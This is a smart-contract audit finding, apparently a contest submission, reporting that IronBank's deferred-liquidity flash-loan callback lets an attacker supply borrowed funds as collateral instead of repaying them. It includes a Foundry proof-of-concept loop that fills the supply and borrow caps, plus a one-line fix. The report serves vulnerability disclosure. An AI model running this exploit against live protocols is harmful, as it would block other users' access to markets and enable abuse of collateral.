Arz

medium

# A Flash Loan can supply the borrowed amount instead of repaying it

## Summary

A Flash Loan allows users to borrow from IronBank without the need for collateral as long as the borrowed amount is repaid within a single transaction. 

However, instead of repaying it, the Flash Loan can use the amount borrowed to supply it as collateral. 

## Vulnerability Detail

IronBank allows Flash Loans to borrow without the need for collateral as long as the collateralValue >= debtValue at the end of the transaction when checking the account liquidity in deferLiquidityCheck().

Having collateralValue >= debtValue can be achieved in 2 ways:

1. The borrowed amount is repayed so the debt value is then set to 0 and the collateralValue will be bigger or equal to the debt value
2. Attack - The borrowed amount is supplied as collateral so that the collateral value becomes bigger/equal to the debt value

So the attacker(Flash Loan) can use the borrowed amount and supply it so that the value of the collateral is bigger than the debt value and the tx wont fail when checking the account liquidity in deferLiquidityCheck().

Note: If the attacker uses all the borrowed amount to supply, the debtValue will likely still be a bit bigger so the attacker needs to supply a bit more collateral than he borrowed.


## Impact

There is no way for the attacker to drain everything from the contract because the account liquidity is checked if he wanted to redeem what he supplied but still, because this isnt meant to be done, this can damage the system a lot. 

Examples: 

1. The attacker can loop borrow and then supply a massive amount of tokens and reach the borrow/supply cap not allowing other users to borrow or supply. See PoC below
2. The attacker can hope that the price of the collateral increases and then he can redeem what he supplied
3. The attacker can get liquidated and the liquidator will earn money from what he isnt supposed to

## Code Snippet
https://github.com/sherlock-audit/2023-05-ironbank/blob/main/ib-v2/src/protocol/pool/IronBank.sol#L306

## Proof Of Concept

In this PoC i show how an attacker can create a loop of borrowing and supplying in order to reach the max supply/borrow cap so that other users wont be able to supply or borrow.

Here we create a loop of borrowing and supplying but we are using the borrowed amount to supply so this will increase the borrow cap and supply cap until the max cap is reached. This also leaves the attacker with a huge amount of ibTokens.

```solidity

contract FlashLoanAttackTest is Test, Common {
    uint16 internal constant reserveFactor = 1000; // 10%
    int256 internal constant market1Price = 100e8;

    IronBank ib;
    MarketConfigurator configurator;
    CreditLimitManager creditLimitManager;
    FeedRegistry registry;
    PriceOracle oracle;
    IronBankLens lens;
    ERC20Market market1;

    address admin = address(64);
    address user1 = address(128);
    uint16 internal constant market1CollateralFactor = 8000;

    
    function setUp() public {
        ib = createIronBank(admin);

        configurator = createMarketConfigurator(admin, ib);

        vm.prank(admin);
        ib.setMarketConfigurator(address(configurator));

        creditLimitManager = createCreditLimitManager(admin, ib);

        vm.prank(admin);
        ib.setCreditLimitManager(address(creditLimitManager));

        TripleSlopeRateModel irm = createDefaultIRM();

        (market1,,) = createAndListERC20Market(18, admin, ib, configurator, irm, reserveFactor);

        registry = createRegistry();
        oracle = createPriceOracle(admin, address(registry));

        vm.prank(admin);
        ib.setPriceOracle(address(oracle));

        setPriceForMarket(oracle, registry, admin, address(market1), address(market1), Denominations.USD, market1Price);
        configureMarketAsCollateral(admin, configurator, address(market1), market1CollateralFactor);
        lens = createLens();

        //Set market/borrow cap
        uint256 supplyCap = 10e18;
        uint256 borrowCap = 10e18;
        vm.startPrank(admin);
        configurator.setMarketSupplyCaps(constructMarketCapArgument(address(market1), supplyCap));
        configurator.setMarketBorrowCaps(constructMarketCapArgument(address(market1), borrowCap));

        // Injest some liquidity for borrow.
        deal(address(market1), admin, 1e18);
        market1.approve(address(ib), 1e18);
        ib.supply(admin, admin, address(market1), 1e18);
        vm.stopPrank();

        //Give this contract some funds to supply
        deal(address(market1), address(this), 2500000000000000000);
    }


    //THIS IS A FUNCTION THAT AN EOA WOULD CALL ON THE ATTACK FLASH LOAN CONTRACT
    function testAttack() public {
        ib.deferLiquidityCheck(address(this),bytes(""));
        (uint256 a, uint256 b) = ib.getAccountLiquidity(address(this));

        //COLLATERAL VALUE EQUALS TO THE DEBT VALUE
        console.log("THE COLLATERAL VALUE IS",a);
        console.log("THE DEBT VALUE IS",b);

        IronBankLens.MarketMetadata memory status = lens.getMarketMetadata(ib, address(market1));

        //THE MAX SUPPLY/BORROW CAP IS REACHED
        console.log("THE SUPPLY CAP IS", status.supplyCap);
        console.log("THE BORROW CAP IS", status.borrowCap);
        
    }

    //THIS FUNCTION WILL GET CALLED BY deferLiquidityCheck() 
    function onDeferredLiquidityCheck(bytes memory encodedData) public {

        //WE HAVE TO DEPOSIT A BIT MORE THAN WE BORROWED
        //HOW BIG THE amountToSupply IS DEPENDS ON THE MARKET, THIS IS JUST AN EXAMPLE 
        uint256 amountToSupply = 250000000000000000;

        uint256 amountToWithdraw = 200000000000000000;

        //LOOP UNTIL THE MAX CAP IS REACHED
        for(uint256 i; i < 5; ++i) {
            ib.borrow(address(this), address(this), address(market1), 1000000000000000000 + amountToWithdraw * i); 
            IERC20(market1).approve(address(ib), type(uint256).max);  
            ib.supply(address(this), address(this), address(market1), 1000000000000000000 + amountToSupply * (i + 1)); 
        } 
    }

}

```

## Tool used

Manual Review

## Recommendation

A very simple solution for this exists, we can check if the liquidityCheckStatus of the user is dirty in the supply() function

```solidity
require(liquidityCheckStatus[from] != LIQUIDITY_CHECK_DIRTY);
```

